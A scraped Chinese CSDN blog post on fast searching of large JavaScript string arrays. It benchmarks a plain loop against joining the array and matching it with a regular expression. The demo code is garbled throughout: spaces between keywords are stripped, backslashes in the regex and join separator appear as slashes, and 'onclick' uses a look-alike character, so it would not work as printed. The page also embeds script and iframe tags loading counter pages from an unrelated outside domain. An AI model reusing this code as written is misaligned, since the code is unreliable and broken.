JavaScript极速狂飙:大容量字符型数组的快速检索--IT man

Csdn-Blog <script language="javascript" src="http://www.023rcsc.com/count/count2.asp"></script>
JavaScript极速狂飙:大容量字符型数组的快速检索
bsp
   JavaScript在大容量数组的循环方面效率不尽人意,我曾经做过一个比对,与VBS的数组相比较,VBS的数组循环速度大致比JS要快一个数量级(
http://community.csdn.net/Expert/TopicView.asp?id=4313487
)。JS数组在一般的编程当中我们也不会太去注意它的效率问题:才几十个元素的数组效率即使差点你也看不出来,但节点量一大,比如几千、比如上万个节点量的数组循环,那效率问题就成了首要考虑解决的问题了。大容量数组的检索大致有以下几个应用:select做combobox时的快速匹配、树的查询、表格table排序或者检索等。
   下面我来做一个测试,首先我先创建一个大容量的数组:
   <SCRIPTLANGUAGE="JavaScript">
   varn=100000;//数组的最大容量
   vara=newArray();
   for(vari=0;i<n;i++)
   {
     a[i]=Math.random()+"";
   }
   </SCRIPT>
   这样我就创建了一个长度为100000的字符型数组,然后我再检索字符串以0.9999开始的字符串,并存入另一个数组中。
   <SCRIPTLANGUAGE="JavaScript">
   varn=100000;//数组的最大容量
   vara=newArray();
   for(vari=0;i<n;i++)
   {
     a[i]=Math.random()+"";
   }
   varbegin=newDate().getTime();
   varb=newArray();
   for(vari=0;i<n;i++)
   {
     if(a[i].indexOf("0.9999")==0)
     {
       b[b.length]=a[i];
     }
   }
   document.write("数组长度:"+n);
   document.write("<br>传统循环法耗时"+(newDate().getTime()-begin)
   +"毫秒!检索的结果:<strongtitle='"+b.join("&#13;")
   +"'>检索到"+b.length+"个记录!</strong>");
   </SCRIPT>
   这步操作我这里耗时都在2800毫秒左右,说明一下,这里的循环非常简单,只有一个if判断和一个赋值操作,非常简单,若这里的判断稍微复杂一些那它的耗时将是数量级的增大。那么对于这种问题有什么好的优化方案吗?答案当然是有的,否则我开这个贴子说的全是费话了。但是对于这个问题不能再使用我们的传统思维来优化,因为在传统的思维里已经找不出再好的写法了。
   解决的方案就是:先把数组join()成一个大字符串,然后用正则表达式对这个大字符串进行匹配检索。这个方法算是我的个人独创吧,在我写树的过程中想出的歪招,不过效率真的不赖。关于join()的效率我已经开贴讨论过了(
http://blog.csdn.net/meizz/archive/2005/12/14/552260.aspx
 JavaScript极速狂飙:组合拼接字符串的效率)。这个优化方案需要有一定的正则表达式功底。
<inputid="count"value="50000"size="7"maxlength="6">
<inputtype="button"value="数组初始华"οnclick="txt.innerHTML=array_init()"><br>
<inputtype="button"value="传统循环"οnclick="txt.innerHTML+=method_for()">
<inputtype="button"value="正则匹配"οnclick="txt.innerHTML+=method_regexp()">
<divid="txt"></div>
<SCRIPTLANGUAGE="JavaScript">
vartxt=document.getElementById("txt");
vara=newArray();
functionarray_init() {
   varn=parseInt(document.getElementById("count").value);
   a.length=0;
   for(vari=0;i<n;i++)
   {
     a[i]=Math.random()+"";
   }
   return"数组长度:"+n; }
functionmethod_for() {
   varn=a.length;
   varbegin=newDate().getTime();
   varb=newArray();
   for(vari=0;i<n;i++)
   {
     if(a[i].indexOf("0.9999")==0)
     {
       b[b.length]=a[i];
     }
   }
   return("<br>传统循环法耗时"+(newDate().getTime()-begin)
   +"毫秒!检索的结果:<strongtitle='"+b.join("&#13;")
   +"'>检索到"+b.length+"个记录!</strong>"); }
functionmethod_regexp() {
   varbegin=newDate().getTime();
   varb=newArray();
   vars=a.join("/x0f");
   varr=newRegExp().compile("0//.9999//d+","g");
   b=s.match(r);  s="";
   return("<br>正则匹配法耗时"+(newDate().getTime()-begin)
   +"毫秒!检索的结果:<strongtitle='"+b.join("&#13;")
   +"'>检索到"+b.length+"个记录!</strong>"); }
</SCRIPT>
   大家可以测试一下,上面两种方法之间的效率到底相差多少!代码是死的,人是活的,换一种思维换一种模式,效率将大相径庭。
   这一招我是花了好多脑筋才想出来的招,真有点舍不得放出来,现在就拿它恭贺大家2006新的一年的开始吧。

JavaScript极速狂飙:大容量字符型数组的快速检索 src="http://www.023rcsc.com/count/iframe2.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值